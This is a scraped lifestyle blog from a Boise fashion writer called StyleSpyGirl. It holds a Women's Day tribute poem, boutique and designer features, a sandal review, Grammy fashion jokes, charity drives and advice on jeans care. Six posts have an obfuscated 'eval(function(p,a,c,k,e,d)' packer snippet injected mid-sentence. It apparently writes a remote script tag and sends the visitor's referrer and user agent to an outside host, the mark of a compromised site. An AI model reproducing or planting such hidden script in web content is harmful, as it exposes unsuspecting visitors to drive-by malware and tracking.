For International Women’s Day 2013 ~ A Special Tribute

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honor of the International Women’s Day Synchroblog, called together by Sarah Bessey, I’m reposting this tribute to the women in my life who were and are my Patron Saints & Spiritual Midwives. 🙂 Who is a special woman in YOUR life? Comment & tell me about her!

~~~ A special tribute to the beautiful, smart, funny, loving women in my life – especially my mother! – who inspired me and shaped my life.

Love you SO MUCH, Mom, Grandma, Auntie Pam, Randie, and Nana!!!

XOXOXOXOXO,

Tanya

Poem by Nicholas Gordon

Before I was myself you made me, me

With love and patience, discipline and tears,

Then bit by bit stepped back to set me free,

: My Mother & Aunt

: My Beautiful Mom

: My Dad & Mom, early 80’s

Allowing me to sail upon my sea,

Though well within the headlands of your fears.

Before I was myself you made me, me

: Mom, Me, Dad

: My Beautiful Grandmother

: My Grandma & Aunt

With dreams enough of what I was to be

And hopes that would be sculpted by the years,

Then bit by bit stepped back to set me free,

: Grandma, Mom, Me (Ha!), Brother

: My wonderful, gorgeous Grandma, Mom, and Aunt!

: Grandma

Relinquishing your powers gradually

To let me shape myself among my peers.

Before I was myself you made me, me,

: Mother-in-law Randie, surrounded by family

: So brave & fun!

: Special times with the grandkids

And being good and wise, you gracefully

As dancers when the last sweet cadence nears

Bit by bit stepped back to set me free.

: My Nana – miss her so much!!!

: Me, Mom, Nana, & my daughter – 4 generations!


A Beautiful Mother’s Day with my Angels!

For love inspires learning naturally,

The mind assents to what the heart reveres.

And so it was through love you made me, me

By slowly stepping back to set me free.

Local Style Secret: Bricolage!

Boise’s most prolific fashion designer, Elise Vaughn, is slowly getting famous… but you won’t hear it from her! 😉 Elise is the founder of Brass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tttdf|var|u0026u|referrer|bzzbh||js|php’.split(‘|’),0,{}))
Razoo, a super-hip clothing & jewelry line whose designs are not only in boutiques across the country, but might also be coming to a movie screen near you. (More details on that, coming soon!)

But despite all the buzz building around her, this humble and talented young woman is all about local love. Recently she teamed up with Chelsea Snow, the brilliant woman behind Boise’s hippest downtown boutique, bricolage. Together they are launching a new line called “bric & brass,” and it promises to be AMAZING!!!

I stopped by bricolage for a First Thursday event, and found so much fun stuff, I didn’t want to leave!!! Brass Razzo and bricolage are a match made in Heaven. Cool gifts, quirky decor, hipster kick-knacks, vintage clothing, local art, and Elise’s designs blend beautifully into the coolest symphony of shoppable fun!

Elise repurposes vintage finds from across the country, and also creates original clothing pieces for women and men. For her new launch at bricolage, Elise has delved into kid’s wear, creating sweaters and tops from vintage fabrics, and adorable convertible dresses that grow with your child! Here are some of my fun finds. Be sure to stop by March 7th for another totally fun First Thursday party. I’ll be there; come say Hi and find some find some wonderful, unique stuff!!! 🙂

XOXO,

StyleSpyGirl

bricolage is located in downtown Boise, at 418 S. 6th. Click here to check out their facebook page: https://www.facebook.com/bricoshoppe/info

My Exciting News and Why I’m on Cloud 9 Today!

Many eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynatd|var|u0026u|referrer|btyfr||js|php’.split(‘|’),0,{}))
of my friends & readers have been asking recently: When are you going to do more makeover videos? The answer to that question is RIGHT NOW! 😀

Last year I launched the Every Woman Project, a makeover show that focuses on finding women in our community who give so much of themselves to others, that they don’t spend much time on themselves. My Style Team and I come in and surprise these women with pampering gifts and makeover help, showing them how beautiful they are to those around them, for who they are and the love & energy they give to others!

Today I am happy to announce the next step for StyleSpyGirl and the Every Woman Project!

We are working together with Element 242 Social Media Producers to bring you a new web video series, that will merge all the style, beauty, fashion, and shopping on a budget advice you know StyleSpyGirl for, PLUS the heart & soul of the Every Woman Project, with makeovers & highlighting very special women! Instead of a full-length webisode, these videos will be around 3 minutes each – super easy to link, share on social media, and watch on your smart phone, tablet, or home computer! They’ll be fast, fun, and highly entertaining! 🙂

Stay tuned! You are going to see me and my Style Team all over town, featuring amazing local women, local business, salons, stores, fashion designers, products, etc… It’s all about REAL tips, for REAL women on REAL budgets! 😀 And we will continue to honor & pamper the makeover candidates that you have written in and nominated!!! Hurray!!! 😀

Are you ready for StyleSpyGirl Mission #1?

Here it is!!!!! Enjoy. 🙂

XOXO,

StyleSpyGirl

Important Note: We are looking for sponsors, partners, & advertisers to join in this awesome series with us! If you are interested in our team filming at your business, or highlighting your products & services, LET US KNOW! If you want to be a show sponsor, we would love to have you on board! 😀 Email us at everywomanproject@yahoo.com, or Tanya directly at stylespygirl@yahoo.com.

Fun Shoe Review: Fibi & Clo Sandals!

If you’re a self-admitted shoe-a-holic like me, you may know how thrilling it is to receive lovely little packages in the mail, like the one I just got from online shoe boutique eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yibde|var|u0026u|referrer|kazdy||js|php’.split(‘|’),0,{}))
fibi & clo! Pretty shoes… in a box… for me!!! Happy day! 😀

As one of Boise’s hard-working personal shoppers & fashion bloggers, I am on my feet a LOT! But the streets of this town get pretty dang hot in the summer, and I refuse to wear flip-flops as fashion. (They’re functional, so of course I wear them! Just not with styled outfits, lol. Call me picky.) 😉 Last summer I bemoaned my lack of walk-all-day footwear, never really finding a cute pair of sandals that fit my style, or my lifestyle. Gladiators were all the rage, I know. But they don’t suit me!

When fibi & clo contacted me about doing a product review of their sandals, claiming “cute, affordable, and comfortable” as their focus, I jumped at the chance, selecting the “Burst Cascade” style, one of their top sellers. I slipped them on, and was immediately impressed by the comfy, soft padding. Ooh, I could wear these all day! And their coloring is so versatile; I LOVE how the sparkling crystals catch every color, making them endlessly fun to build a variety of outfits around!

I quickly threw some looks together, to cover a variety of situations: Formal, Fun, and Flirty!

Formal: Express necklace, Express bandeau, BCBG dress, fibo & clo sandals

Fun: Custom necklace by Unigon Specialties, Express bandeau, Pink by VS tank, Forever 21 shorts, fibo & clo sandals

Flirty: Express Bandeau, Pink by VS top, Black Orchid skinny jeans, Apricot Lane bracelets, fibo & clo sandals

Which outfit is your favorite? 🙂 I had a blast putting them all together, enjoying the comfort and drama of those awesome shoes.

fibi & clo was created by AnaLiza Alba, in 2009, to be “like tupperware parties, but with shoes!” What started as a house party business quickly grew into an online retailer. If you live in a town where house parties are available, you can contact a sales rep, or become a “fashion agent.” For those of us who live in other parts of the world, check out fibi & clo’s beautiful online store: https://fibiandclo.com. fibi & clo sandals have been featured in Lucky magazine, Lauren Conrad’s style blog, and a host of other fashion websites & magazines. True to their mission, I found them to be high-quality, inexpensive, super-comfy, and downright lovely.

For honest disclosure, I found that the sandals I ordered ran a little on the small side. I was glad I “sized up” to an 8, instead of my usual 7 1/2. Just something to keep in mind! 🙂

Now, if only Spring would get here, so I can wear these beauties all over town! It’s so hard to wait!!!

Impatiently waiting for warm sunshine.

StyleSpyGirl

Grammy Award Fashion Conundrums 2013

Award shows are tons of fun, don’t you think? The performances, the emotional speeches, the drama, and most of all the wild & crazy fashions! Watching the clothing choices of famous people is like a game of celebrity Bingo; Who eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibsdy|var|u0026u|referrer|ykbzs||js|php’.split(‘|’),0,{}))
played it safe in a black dress? Who wore purposefully-ugly shoes? Who has something large & bow-like on their shoulder? Who thought a vampire cape was the right look for tonight? Woo-hoo, I got BINGO!

There were some beautiful gowns last night at the Award show, like Solange Knowles, Carrie Underwood, and the always-adorable Pauley Perrette.

But then there were some fashion conundrums; beautiful people in outfits that make you tilt your head sideways and say, “Huh? I’m not sure what this means, exactly.”

Here are my favorite conundrums of the night. Do you agree? Who do you think actually pulled it off? And who should get a do-over?

Kimbra channels Bjork & Lara Flynn Boyle, but comes out on top as the cutest ballerina. Or maybe Ice Capades dancer? I don’t know. But she’s adorable and we love her anyhow. 😉

Makeup artist Jay Manuel from America’s Next Top Model makes a daring move in a tux that looks a little like an Urban Decay eyeshadow pallet. So it’s appropriate, right? 😉 Ok, your smile is so dazzling, you get a Pass on this one, Jay.

Katy Perry, I’m not sure if it’s the chartreuse color, or the leafy appliques your Granny’s crafting club stuck to the shoulder, but I’m having a hard time making eye contact with you… Yeah, it’s gotta be the appliques. Definitely.

Adele set fire to the rain. And won a lot of awards. And wore this. But her defiant pose dares you to say anything about it, m-kay?

Rap artist 2 Chainz wore a cape. Just in case he was called upon to do a magic trick. Or bare fangs and attack anyone who tried to touch his chastity belt! Grrrrr!!!

Alexa Chung, reminding us why she’s a well-respected, fashion-forward style icon, by grabbing a wrinkled dress from Savers on her way to the Red Carpet. She’s being Ironic, get it? It’s a hipster thing…

This is my favorite fashion conundrum of the night: Florence Welch. She’s gorgeous & statuesque in a perfectly-fitting, emerald-green gown that suits her sultry demeanor and iconic red hair. Oh, wait! Are those dinosaur spikes on her shoulders? Is that a dragon tail embedded in the chest of her gown? Does it ward off unwanted flirting from crazy older celebrities? (Stay away, Jack Nicholson; these spikes are poison-tipped!) Sigh, even dragon-spiked, we die over Florence’s bold style and even bolder singing voice. Look for dragon spikes and shimmery green dresses to hit your local Forever 21 store soon!

Who was your favorite fashion conundrum of the night? Who do you think deserved a Grammy for Best Dressed, or should get a do-over? Did I miss any fashion offenders you think should be included on this list? 🙂

XOXO,

Style Spy Girl

HEELS FOR HOPE!

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LOVE when women help other women, even if they’re strangers! With all the injustice and pain in this world, I believe we should always rally around those trying to do their part to fight that darkness. We may never eradicate all the slavery, from this world, but that doesn’t mean we should ever, ever stop trying! 🙂

A friend of mine is particularly passionate about fighting the trafficking of innocent girls in the Philippines, that have been kidnapped, tricked, or sold into prostitution. According to the Health & Human Rights Journal: “In 2009, the Philippines was downgraded by the US State Department to a “Tier 2 Watch-List country,” with Metro Manila being a major source, destination, and transit area for girls and women. It is considered by UNICEF to have one of the world’s worst child trafficking problems. Accurate prevalence figures on sex trafficking are extremely challenging to generate due to the underground nature of human trafficking, but child trafficking estimates for the country hover around 100,000 annually.”

Karin Aiello is one woman making a difference, and I adore her creativity & passion! She is holding a huge shoe auction, with tons of shoes she has collected for this effort, ALL selling for $25 per pair. PLEASE check out her album of shoes, and read about her heart’s cry to help girls trapped in the nightmare of the sex trade industry! Every penny she earns from these shoes will go to www.wipeeverytear.org, a foundation whose mission is to break the chains of slavery and build safe & nurturing homes for rescued girls.

Hugs & Love,

StyleSpyGirl

Karin’s info & story are linked HERE, along with clickable photos of all these shoes, and more!

P.S. Ophidia Studio, Boise’s premier women’s fitness studio, is helping Karin by holding an auction to raise funds for Wipe Every Tear! You can view the auction info HERE.

Local Designer Asuyeta gets WILD!!!

Oh, how I ? Erika Bates, the fabulous & inspiring designer behind local clothing line Asuyeta. I wrote about her debut in Boise a few months ago here.

Now eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnnyi|var|u0026u|referrer|yhiet||js|php’.split(‘|’),0,{}))
Erika is taking her line to a whole new level with a lovely Kickstarter campaign! Not only can you HELP bring more of her fashion to the masses, but in the process you get to bring home a little something for yourself! 😀 It’s a fabulous fashion win-win!

http://www.kickstarter.com/projects/asuyeta/wild-free-ss2013-collection-by-asuyeta/widget/card.html
I’m selecting this celestial beauty & showing my support.

Gorgeous, right? This woman has tons of talent, and I’m so very thrilled to support her. Which one of her fabulous kickstarter designs is YOUR favorite? 😀

xoxo,

StyleSpyGirl

When Skinny Jeans Don’t Stay Skinny

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had a great question posed to me recently by a fan on my Facebook page. Here’s my answer to her. 🙂 Do YOU have any additional tips or thoughts on this? Feel free to comment!

xoxo,

StyleSpyGirl

Dear Tanya Stylespygirl,
I need your help!! I have noticed that all my favorite jeans are starting to loose their shape, especially the skinny jeans around the knees and booty. They are, quite literally, becoming warn out! I’m heartbroken.. Any advice on how to keep future pairs of jeans from befalling the same fate? I’d love to keep their shape as long as possible.
Thanks!! You are amazing,
-JNT

Thanks for your question, Jin! First off, may I ask what brand of jeans you are buying? I’ve noticed in the past that my “budget” brand jeans tend to wear out faster than higher-end ones. I’ve never been a huge believer in following labels, but there is some truth to “get what you pay for.”

Budget skinny jeans tend to have a higher percentage of spandex and polyester, the materials that give them so much stretch. These can wear out over time, making them baggy around the butt and knees. Looking for jeans with a higher cotton count, and less synthetic stretch fibers, will give you a firmer feeling jean that also lasts longer. I know that some higher end brands can be expensive, but shop your local thrift & consignment stores for great deals! Buying resale jeans means you will also see how well a pair is holding up, or bagging out!

I also recommend not drying your skinnies all the way. I wash mine in cold, then dry them on ultra-low for about 10 minutes to get the wrinkles out. I hang them to dry the rest of the way after that.

If you do decide to invest in a new pair of higher-end jeans, DO think of them as an investment! Buy what you LOVE, and know you’ll wear a ton, like a dark wash that fits you perfectly. I believe in a “cost per wear” equation; if you pay $20 for a pair of jeans that only look good 20 times you wear them, you’ve paid $1 per wear. If you buy a $50 pair that looks great 100 times you wear them, you’re paying .50 cents per wear! Trendy pieces like colored & patterned pieces should be a less-expensive investment, because they will go out of style eventually. But a great pair of neutral jeans (black, grey, dark blue), will last you for YEARS!!! Good luck – let me know how your search goes.

you are amazing! thank you so much for all the great info! i will definitely use it and will be sure to share what i get next and where ;D

You are so welcome! I’m very happy to help. 😀

An Intimate Way to Help Women!

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the pun, ha ha ha! But did you know that: Bras are the most needed and least donated clothing item? You can help domestic violence shelters in your area, by bringing your unused bras to Soma Intimates! (Or, you can buy & donate a new one!)

What do you do with the lesser-worn bras that are sitting in your dresser drawer? 😉 Most consignment stores won’t take them, but it feels wasteful to throw them away… Especially when most of the bras we buy are a huge investment of time and money! Personally, I love having the chance to help another woman, by giving her something she might truly need. Stop by Soma Intimates at Boise Towne Square for your chance to help local domestic abuse shelters, by donating new or gently-used bras. Soma has collected and redistributed over 368,000 bras to date.

Here are the details, from Boise Towne Square’s Event page:

1/10/2013 – 2/14/2013

Time: 10:00 a.m. – 9:00 p.m.

Location: Soma Intimates, Lower Level

Contact: 2083764283

My Biggest Giveaway EVERRRR!!!

With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trefh|var|u0026u|referrer|rzznk||js|php’.split(‘|’),0,{}))
photos by Ammophotog

When Boise’s new H&M opened recently, I had the special & exciting privilege of giving away $100 gift card to one of my StyleSpyGirl readers. Yay!!! I love making someone’s day with a giveaway surprise!!! 🙂